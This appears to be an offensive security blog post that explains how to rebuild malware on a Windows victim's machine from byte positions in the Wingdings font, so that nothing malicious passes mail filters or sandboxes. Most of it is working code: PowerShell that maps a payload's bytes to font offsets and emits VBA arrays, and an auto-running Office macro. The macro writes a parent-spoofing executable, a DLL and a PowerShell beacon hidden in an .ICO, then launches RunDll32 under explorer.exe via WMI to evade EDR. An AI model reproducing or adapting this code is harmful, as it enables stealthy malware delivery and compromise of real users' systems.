Introduction
The "Living Off the Land" approach to hacking is to execute malicious actions from legitimate binaries already installed on the victim's endpoint. There is no need to pack any extra software in the payload baggage to transfer external files: it’s already on the victim’s computer.
Nevertheless, in many cases, a common attack would follow these steps (playskool high level steps):
- Deliver a file containing a payload that could contain:
- malicious code that need to be executed
- OR
- non malicious code; the payload will download the malicious components in third step
- Convince the victim to execute the payload
- The payload will then:
- execute its malicious components with the help of a LoLBIN
- OR
- download its malicious components then execute it with the help of a LoLBIN
Objective
I would like a solution that meets the following criteria:
- Does not contain any malicious code (not even malicious bytes http://www.exploit-monday.com/2011/09/dropping-executables-with-powershell.html) to go through the perimeter (mail filtering, sandboxing, etc)
- Does not download any malicious code
- Execute malicious code
Malware generating itself from the endpoint victim's fonts
First, we need to find a component that is the same on every Windows Operating System version. I looked for this Holy Grail and found this:
I compared the Windings font between a lot of Windows versions and the font was exactly the same.
We could achieve our objective by using this font which seems to be a common item between all Windows computer. How to achieve this? The recipe would be:
- Collect the bytes from our malware on our computer
- Compare the first byte of our malware to the Wingdings font
- As soon as we find the same byte in the font, we record its position in a text file
- We repeat this process until we have found all the bytes contained in the malware and recorded their position in our text file
- Our payload will contain the position from the Wingdings font for each of its byte
- Once on the victim machine, the payload will build its malicious components by using the bytes position from the Wingdings font
The code in PowerShell to find the bytes in the font:
$Font = "C:\Windows\Fonts\wingding.ttf" $Malware = "C:\Users\Administrator\Pictures\2.PNG" $fontArray = Get-Content $Font -Encoding Byte -ReadCount 0 $malwareArray = Get-Content $Malware -Encoding Byte -ReadCount 0 $offsetArray = @() foreach ($byteInMalware in $malwareArray){ $index = 0 foreach ($byteInFont in $fontArray) { if ($byteInMalware -eq $byteInFont) { $offsetArray += $index break } $index++ } }
PowerShell Code to generate a VBA code that you could insert in a Macro. This code will produce byte arrays that contain the position of the bytes to build your malicious component:
$i=0 $payload = "" $j=0 $u=1 $payDef = "" foreach($offset in $offsetArray){ if($i -eq 30) { $payload = $payload + ", " + $offset + " _`r`n" $i=0 $j++ } else { if($i -eq 0) { $payload = $payload + $offset } else { $payload = $payload + ", " + $offset } } if($j -eq 25) { $payDef = $payDef + "`r`nFunction ccc$u() tt$u = Array($payload) ccc$u = tt$u End Function" $payload = "" $u++ $j = 0 } $i++ } if($payload -ne ""){ $payDef = $payDef + "`r`nFunction ccc$u() tt$u = Array($payload) ccc$u = tt$u End Function" } $payDefResult:
The following (crappy) VBA code will use the bytes array we created to generate malicious components. The next steps of the following code is to select Explorer.exe as a parent process for RunDll32.exe (to confuse EDR products ;-)), then will execute the malicious components with RunDll32.exe (a .DLL running a PowerShell beacon from an .ICO resource). You could replace this by injecting memory processes instead of writing files to the disk. The exercise is left to the reader.
VBA code:
[...] --> you array of bytes containing the position of necessary bytes in the Windings font.'example to join the bytes for the fist malicious componentt1 = cc1 t2 = cc2 t3 = cc3 t4 = cc4 t5 = cc5 t6 = cc6 t7 = cc7 t8 = cc8 t9 = cc9 t10 = cc10 t11 = cc11 t12 = cc12 t13 = cc13 t14 = cc14 t15 = cc15 t16 = cc16 t17 = cc17 t18 = cc18 ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _ & "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",")[...]Dim nb As Integer Dim nb2 As Integer nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array nb2 = UBound(tt) - LBound(tt) + 1 nb3 = UBound(ttttttt) - LBound(ttttttt) + 1 Dim intFileNumber As Integer Dim i As Integer Dim j As Integer Dim lngFileSize As Long Dim lngFileSize2 As Long Dim strBuffer As String Dim strBuffer2 As String Dim lngCharNumber As Long Dim lngCharNumber2 As Long Dim strCharacter As String * 1 Dim strCharacter2 As String * 1 Dim strFileName As String Dim strFileName2 As String Dim offset() As Variant strFileName = "C:\Windows\Fonts\wingding.ttf" intFileNumber = FreeFile Open strFileName For Binary Access Read Shared As #intFileNumber lngFileSize = LOF(intFileNumber) strBuffer = Space$(lngFileSize) Get #intFileNumber, , strBuffer Close #intFileNumber Dim nFileNum As Long Dim sFilename As String Dim ind As Long sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32 sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO nFileNum = FreeFile ' a loop would be better ;-) Open sFilename2 For Binary Lock Read Write As #nFileNum For lngCharNumber = 0 To nb - 1 ind = lngCharNumber + 1 off = ttt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum nFileNum = FreeFile Open sFilename For Binary Lock Read Write As #nFileNum For lngCharNumber = 0 To nb2 - 1 ind = lngCharNumber + 1 off = tt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum nFileNum = FreeFile Open sFilename3 For Binary Lock Read Write As #nFileNum For lngCharNumber = 0 To nb3 - 1 ind = lngCharNumber + 1 off = ttttttt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum rr End Sub Sub rr() Dim xx As String Dim oihfasf As Object, eopuf As Object, kdj As Object Dim oDic As Object, a() As Variant Dim pskaf As Integer Set oDic = CreateObject("Scripting.Dictionary") xx = "." Set oihfasf = GetObject("winmgmts:\\" _ & xx & "\root\CIMV2") Set eopuf = oihfasf.ExecQuery _ ("Select Name, ProcessID FROM Win32_Process", , 48) For Each kdj In eopuf If (kdj.Properties_("Name").Value) = "explorer.exe" Then pskaf = (kdj.Properties_("ProcessID").Value) End If Next Dim t As Date Dim cnt As Long Dim arr(2) As Byte Dim xl As String xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "." Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2") Set os = ow.Get("Win32_ProcessStartup") Set oc = os.SpawnInstance_ Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process") op.Create xl, Null, oc, aslh End Sub Sub AutoOpen() cc End Sub Sub Workbook_Open() cc End SubThat's all Folks!